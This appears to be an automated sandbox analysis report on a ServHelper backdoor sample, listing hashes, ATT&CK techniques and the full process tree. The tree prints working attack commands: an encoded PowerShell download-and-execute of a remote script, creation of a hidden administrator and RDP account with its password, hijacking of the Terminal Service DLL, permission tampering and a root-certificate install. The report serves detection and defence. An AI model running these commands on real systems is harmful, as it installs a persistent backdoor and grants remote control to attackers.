servhelper | ae1c9d454905ed43654f99b1ea1e8ecc3ae08eb75c3860f46b285ce724ae5e4d

Target
472208d7ba18d4c14b7e90b9db5d6feb.exe
Size 5.9MB
Sample210814-xdxpv1yk2x
SHA256 ae1c9d454905ed43654f99b1ea1e8ecc3ae08eb75c3860f46b285ce724ae5e4d
MD5 472208d7ba18d4c14b7e90b9db5d6feb
SHA1 ff24cc43998ff99e61b1a838e1d51c4888498935
SHA512 9ce72c4da799273ae13008c0033c3d0638f224042ae3bb7910ffb5f59a64babbcd8039468b0a94b8fa5f3192f543a59f493878ade5233d9958d874d59a1e1a15
MD5 SHA1 SHA512

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
13	528	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
2032	icacls.exe
1772	icacls.exe
1608	takeown.exe
1552	icacls.exe
840	icacls.exe
880	icacls.exe
1096	icacls.exe
292	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00040000000130e0-180.dat	upx
behavioral1/files/0x00050000000130e1-181.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
1260	Process not Found
1260	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1552	icacls.exe
840	icacls.exe
880	icacls.exe
1096	icacls.exe
292	icacls.exe
2032	icacls.exe
1772	icacls.exe
1608	takeown.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2ea5ec7f-3977-42a3-8f3c-edb5b594df3b	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2da917a7-d9fd-4863-910b-73b3d8991586	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_47148d41-5c43-4860-95ba-c65b616f08a3	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_05272146-0fd5-4edd-9d77-82a960f492bc	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a30870a0-a54d-4aac-8676-a3aaa5779a35	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PNPBBMIQC3WM15REJL3S.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8da6ccca-718e-482b-820d-bf1787687cae	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_556fd6dc-5bef-4812-aaa0-976cc916ac77	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_06a14f1a-e5a8-4ec7-8ca6-7a9b6b4095c1	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7e4d5222-ed26-45db-b8a5-34b7dbfb4146	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bdeb388d-2da3-40f6-b97c-e56af24a33fb	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ad8de256-4264-4fec-b7a0-af1e6f28b22b	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 30f5baca1491d701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1584	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	472208d7ba18d4c14b7e90b9db5d6feb.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	472208d7ba18d4c14b7e90b9db5d6feb.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
544	powershell.exe
544	powershell.exe
1080	powershell.exe
1080	powershell.exe
1356	powershell.exe
1356	powershell.exe
1524	powershell.exe
1524	powershell.exe
544	powershell.exe
544	powershell.exe
544	powershell.exe
528	powershell.exe
528	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
464	Process not Found
1260	Process not Found
1260	Process not Found
1260	Process not Found
1260	Process not Found

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	1268	472208d7ba18d4c14b7e90b9db5d6feb.exe
Token: SeDebugPrivilege	544	powershell.exe
Token: SeDebugPrivilege	1080	powershell.exe
Token: SeDebugPrivilege	1356	powershell.exe
Token: SeDebugPrivilege	1524	powershell.exe
Token: SeRestorePrivilege	840	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1832	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1832	WMIC.exe
Token: SeAuditPrivilege	1832	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1832	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1832	WMIC.exe
Token: SeAuditPrivilege	1832	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1512	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1512	WMIC.exe
Token: SeAuditPrivilege	1512	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1512	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1512	WMIC.exe
Token: SeAuditPrivilege	1512	WMIC.exe
Token: SeDebugPrivilege	528	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1268 wrote to memory of 544	1268	472208d7ba18d4c14b7e90b9db5d6feb.exe	30
PID 1268 wrote to memory of 544	1268	472208d7ba18d4c14b7e90b9db5d6feb.exe	30
PID 1268 wrote to memory of 544	1268	472208d7ba18d4c14b7e90b9db5d6feb.exe	30
PID 544 wrote to memory of 320	544	powershell.exe	32
PID 544 wrote to memory of 320	544	powershell.exe	32
PID 544 wrote to memory of 320	544	powershell.exe	32
PID 320 wrote to memory of 1496	320	csc.exe	33
PID 320 wrote to memory of 1496	320	csc.exe	33
PID 320 wrote to memory of 1496	320	csc.exe	33
PID 544 wrote to memory of 1080	544	powershell.exe	34
PID 544 wrote to memory of 1080	544	powershell.exe	34
PID 544 wrote to memory of 1080	544	powershell.exe	34
PID 544 wrote to memory of 1356	544	powershell.exe	36
PID 544 wrote to memory of 1356	544	powershell.exe	36
PID 544 wrote to memory of 1356	544	powershell.exe	36
PID 544 wrote to memory of 1524	544	powershell.exe	38
PID 544 wrote to memory of 1524	544	powershell.exe	38
PID 544 wrote to memory of 1524	544	powershell.exe	38
PID 544 wrote to memory of 1608	544	powershell.exe	40
PID 544 wrote to memory of 1608	544	powershell.exe	40
PID 544 wrote to memory of 1608	544	powershell.exe	40
PID 544 wrote to memory of 1552	544	powershell.exe	41
PID 544 wrote to memory of 1552	544	powershell.exe	41
PID 544 wrote to memory of 1552	544	powershell.exe	41
PID 544 wrote to memory of 840	544	powershell.exe	42
PID 544 wrote to memory of 840	544	powershell.exe	42
PID 544 wrote to memory of 840	544	powershell.exe	42
PID 544 wrote to memory of 880	544	powershell.exe	43
PID 544 wrote to memory of 880	544	powershell.exe	43
PID 544 wrote to memory of 880	544	powershell.exe	43
PID 544 wrote to memory of 1096	544	powershell.exe	44
PID 544 wrote to memory of 1096	544	powershell.exe	44
PID 544 wrote to memory of 1096	544	powershell.exe	44
PID 544 wrote to memory of 292	544	powershell.exe	45
PID 544 wrote to memory of 292	544	powershell.exe	45
PID 544 wrote to memory of 292	544	powershell.exe	45
PID 544 wrote to memory of 2032	544	powershell.exe	46
PID 544 wrote to memory of 2032	544	powershell.exe	46
PID 544 wrote to memory of 2032	544	powershell.exe	46
PID 544 wrote to memory of 1772	544	powershell.exe	47
PID 544 wrote to memory of 1772	544	powershell.exe	47
PID 544 wrote to memory of 1772	544	powershell.exe	47
PID 544 wrote to memory of 968	544	powershell.exe	48
PID 544 wrote to memory of 968	544	powershell.exe	48
PID 544 wrote to memory of 968	544	powershell.exe	48
PID 544 wrote to memory of 1584	544	powershell.exe	49
PID 544 wrote to memory of 1584	544	powershell.exe	49
PID 544 wrote to memory of 1584	544	powershell.exe	49
PID 544 wrote to memory of 1812	544	powershell.exe	50
PID 544 wrote to memory of 1812	544	powershell.exe	50
PID 544 wrote to memory of 1812	544	powershell.exe	50
PID 544 wrote to memory of 1600	544	powershell.exe	51
PID 544 wrote to memory of 1600	544	powershell.exe	51
PID 544 wrote to memory of 1600	544	powershell.exe	51
PID 1600 wrote to memory of 2036	1600	net.exe	52
PID 1600 wrote to memory of 2036	1600	net.exe	52
PID 1600 wrote to memory of 2036	1600	net.exe	52
PID 544 wrote to memory of 1088	544	powershell.exe	53
PID 544 wrote to memory of 1088	544	powershell.exe	53
PID 544 wrote to memory of 1088	544	powershell.exe	53
PID 1088 wrote to memory of 1572	1088	cmd.exe	54
PID 1088 wrote to memory of 1572	1088	cmd.exe	54
PID 1088 wrote to memory of 1572	1088	cmd.exe	54
PID 1572 wrote to memory of 1608	1572	cmd.exe	55

C:\Users\Admin\AppData\Local\Temp\472208d7ba18d4c14b7e90b9db5d6feb.exe
"C:\Users\Admin\AppData\Local\Temp\472208d7ba18d4c14b7e90b9db5d6feb.exe"
1⤵
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:544
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rgm3izso\rgm3izso.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:320
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES231A.tmp" "c:\Users\Admin\AppData\Local\Temp\rgm3izso\CSC85D7AF40B17C42E391194D9BA22310C3.TMP"
      4⤵
      PID:1496
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1080
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1356
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1524
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1608
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1552
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:840
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:880
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1096
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:292
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2032
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1772
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:968
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1584
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1812
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1600
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:2036
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1088
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1572
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1608
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1552
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1320
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:1252
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:1900
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1096
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:952
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1572

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:1832
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:1156
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:540

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc vU3jh0FH /add
1⤵
PID:1600
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc vU3jh0FH /add
  2⤵
  PID:1872
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc vU3jh0FH /add
    3⤵
    PID:1572

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:2036
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:1960
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:1156

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
1⤵
PID:1376
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
  2⤵
  PID:880
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
    3⤵
    PID:1872

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:1696
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:540
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1960

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc vU3jh0FH
1⤵
PID:2032
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc vU3jh0FH
  2⤵
  PID:1600
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc vU3jh0FH
    3⤵
    PID:880

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1584
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1832

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1872
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1512

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:396
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:2036
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:528

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/528-204-0x0000000019680000-0x0000000019682000-memory.dmp

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memory/528-205-0x0000000019684000-0x0000000019686000-memory.dmp

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memory/528-234-0x000000001968A000-0x00000000196A9000-memory.dmp

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memory/544-87-0x000000001B620000-0x000000001B621000-memory.dmp

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memory/544-70-0x00000000024F0000-0x00000000024F1000-memory.dmp

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memory/544-86-0x000000001B6D0000-0x000000001B6D1000-memory.dmp

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memory/544-72-0x000000001AA10000-0x000000001AA12000-memory.dmp

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memory/544-102-0x000000001AA1A000-0x000000001AA39000-memory.dmp

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memory/544-71-0x0000000002450000-0x0000000002451000-memory.dmp

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memory/544-157-0x000000001C5A0000-0x000000001C5A1000-memory.dmp

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memory/544-69-0x000000001AA90000-0x000000001AA91000-memory.dmp

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memory/544-73-0x000000001AA14000-0x000000001AA16000-memory.dmp

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memory/544-75-0x000000001C100000-0x000000001C101000-memory.dmp

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memory/544-83-0x00000000020F0000-0x00000000020F1000-memory.dmp

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memory/544-85-0x000000001B400000-0x000000001B401000-memory.dmp

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memory/544-68-0x0000000001F80000-0x0000000001F81000-memory.dmp

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memory/544-67-0x000007FEFB991000-0x000007FEFB993000-memory.dmp

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memory/1080-98-0x000000001B440000-0x000000001B441000-memory.dmp

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memory/1080-94-0x000000001AA54000-0x000000001AA56000-memory.dmp

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memory/1080-121-0x000000001B670000-0x000000001B671000-memory.dmp

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memory/1080-120-0x000000001B4F0000-0x000000001B4F1000-memory.dmp

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memory/1080-93-0x000000001AA50000-0x000000001AA52000-memory.dmp

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memory/1080-107-0x000000001B630000-0x000000001B631000-memory.dmp

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memory/1080-96-0x0000000002380000-0x0000000002381000-memory.dmp

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memory/1080-101-0x00000000024F0000-0x00000000024F1000-memory.dmp

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memory/1080-100-0x000000001B580000-0x000000001B581000-memory.dmp

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memory/1268-63-0x0000000041234000-0x0000000041236000-memory.dmp

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memory/1268-62-0x0000000041232000-0x0000000041234000-memory.dmp

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memory/1268-60-0x00000000416D0000-0x0000000041AF0000-memory.dmp

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memory/1268-64-0x0000000041236000-0x0000000041237000-memory.dmp

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memory/1268-65-0x0000000041237000-0x0000000041238000-memory.dmp

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memory/1356-130-0x0000000001EE0000-0x0000000001EE1000-memory.dmp

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memory/1356-129-0x000000001AC14000-0x000000001AC16000-memory.dmp

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memory/1356-134-0x000000001B5E0000-0x000000001B5E1000-memory.dmp

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memory/1356-128-0x000000001AC10000-0x000000001AC12000-memory.dmp

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memory/1356-132-0x000000001B820000-0x000000001B821000-memory.dmp

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memory/1356-135-0x0000000001C80000-0x0000000001C81000-memory.dmp

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memory/1524-148-0x000000001A9E0000-0x000000001A9E2000-memory.dmp

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memory/1524-149-0x000000001A9E4000-0x000000001A9E6000-memory.dmp

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